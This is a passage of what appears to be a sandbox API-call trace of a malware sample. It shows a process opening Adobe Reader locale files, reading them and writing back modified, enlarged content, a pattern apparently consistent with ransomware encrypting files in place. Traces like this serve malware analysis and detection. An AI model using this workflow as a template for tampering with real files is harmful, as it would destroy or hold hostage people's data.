lpMultiByteStr="updater.POL", lpUsedDefaultChar=0x0) returned 11 [0038.347] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.348] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1a00 [0038.348] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.349] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1a00 [0038.349] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.349] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0038.349] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.349] CloseHandle (hObject=0x1ac) returned 1 [0038.349] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\eBook.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ebook.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.350] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.350] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1a00 [0038.350] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.350] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.350] ReleaseMutex (hMutex=0x128) returned 1 [0038.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.PTB", cchWideChar=9, lpMultiByteStr=0x1e6342c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.PTB", lpUsedDefaultChar=0x0) returned 9 [0038.350] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2b0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0038.352] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0038.352] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0038.352] CloseHandle (hObject=0x1ac) returned 1 [0038.352] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\SaveAsRTF.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\saveasrtf.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.352] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.353] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4a00 [0038.353] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.353] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.353] ReleaseMutex (hMutex=0x128) returned 1 [0038.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.PTB", cchWideChar=13, lpMultiByteStr=0x1e6322c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.PTB", lpUsedDefaultChar=0x0) returned 13 [0038.353] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.355] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3a00 [0038.355] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.355] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3a00 [0038.355] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.355] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0038.355] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.356] CloseHandle (hObject=0x1ac) returned 1 [0038.356] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\AdobeCollabSync.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\adobecollabsync.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.357] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.357] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1c00 [0038.357] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.357] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.357] ReleaseMutex (hMutex=0x128) returned 1 [0038.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUM", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0038.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUM", cchWideChar=19, lpMultiByteStr=0x1e78c44, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.RUM", lpUsedDefaultChar=0x0) returned 19 [0038.358] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2b0f2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0038.359] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0038.359] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x2188, lpOverlapped=0x0) returned 1 [0038.360] CloseHandle (hObject=0x1ac) returned 1 [0038.360] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Multimedia.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\multimedia.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.360] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.360] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x13a00 [0038.360] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.360] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.360] ReleaseMutex (hMutex=0x128) returned 1 [0038.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUM", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUM", cchWideChar=14, lpMultiByteStr=0x1e630cc, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.RUM", lpUsedDefaultChar=0x0) returned 14 [0038.360] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.362] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x12a00 [0038.362] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.362] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x12a00 [0038.362] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.363] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0038.363] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dece18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.363] CloseHandle (hObject=0x1ac) returned 1 [0038.363] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.363] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.363] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe7 [0038.363] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.364] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.364] ReleaseMutex (hMutex=0x128) returned 1 [0038.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0038.364] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ea548, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ea548*, lpNumberOfBytesRead=0x2b0f2bc*=0xe7, lpOverlapped=0x0) returned 1 [0038.365] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0038.365] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66f, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x66f, lpOverlapped=0x0) returned 1 [0038.365] CloseHandle (hObject=0x1ac) returned 1 [0038.365] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\DigSig.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\digsig.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.367] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.367] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1f600 [0038.367] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.367] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.367] ReleaseMutex (hMutex=0x128) returned 1 [0038.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUS", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.RUS", lpUsedDefaultChar=0x0) returned 10 [0038.367] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.369] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1e600 [0038.369] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.370] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1e600 [0038.370] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.370] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0038.370] WriteFile (in: hFile=0x1ac, lpBuffer=0x1deaf48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deaf48*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.370] CloseHandle (hObject=0x1ac) returned 1 [0038.370] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\ReadOutLoud.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\readoutloud.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.371] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.371] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2c00 [0038.371] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.371] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.371] ReleaseMutex (hMutex=0x128) returned 1 [0038.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUS", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUS", cchWideChar=15, lpMultiByteStr=0x1e6342c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.RUS", lpUsedDefaultChar=0x0) returned 15 [0038.371] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.373] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1c00 [0038.373] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.374] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1c00 [0038.374] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.374] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0038.374] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.374] CloseHandle (hObject=0x1ac) returned 1 [0038.374] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\accessibility.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\accessibility.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.377] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.377] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xaa00 [0038.378] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.378] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.378] ReleaseMutex (hMutex=0x128) returned 1 [0038.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SKY", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SKY", cchWideChar=17, lpMultiByteStr=0x1e78c44, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SKY", lpUsedDefaultChar=0x0) returned 17 [0038.378] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.380] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x9a00 [0038.380] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.380] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x9a00 [0038.381] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.381] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, 